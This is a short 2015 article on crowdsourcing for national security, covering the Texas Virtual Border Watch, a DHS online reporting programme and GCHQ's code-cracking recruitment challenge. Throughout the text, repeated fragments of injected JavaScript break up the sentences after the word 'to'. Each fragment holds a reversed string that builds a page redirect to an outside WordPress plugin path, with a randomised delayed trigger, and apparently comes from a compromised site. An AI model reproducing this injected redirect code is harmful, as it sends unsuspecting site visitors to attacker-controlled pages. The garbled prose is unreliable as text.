Crowdsourcing for National Security. 17/03/2015

Crowdsourcing is useful for national security and law enforcement operations for two main purposes: sourcing for intelligence and finding innovative solutions toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to security challenges.

In the United States, one example of crowdsourcing for law enforcement was the establishment of the Texas Virtual Border Watch for the defence of the U.S.-Mexico border. This comprised of placing a series of governmental web-based surveillance cameras at the border. Any users with internet connection may watch the surveillance videos and report any criminal activities such as drug smuggling and illegal immigration through the system.

The U.S. Department of Homeland Security also established the Neighbourhood Network Watch programme that aimed toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to collect data on online criminal behaviour by encouraging its citizens and organisations toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to report suspicious online activities.

The British government is also one of the pioneers in crowdsourcing for national security. One interesting project was undertaken in 2011 by the Government Communications Headquarters (GCHQ) the British intelligence organization, which launched a crowdsourcing challenge on www.canyoucrackit.co.uk with the aim of recruiting signal intelligence officers who possess the aptitude for cracking codes.

The website was interactive, allowing for two-way communication. The operation used Facebook toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to advertise the effort. Participants were required toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to solve a code of 160 letters and numbers arranged in a rectangular display. Once solved, the participants would receive a keyword that led toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to another website, which would allow them toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to apply for a position in the GCHQ.
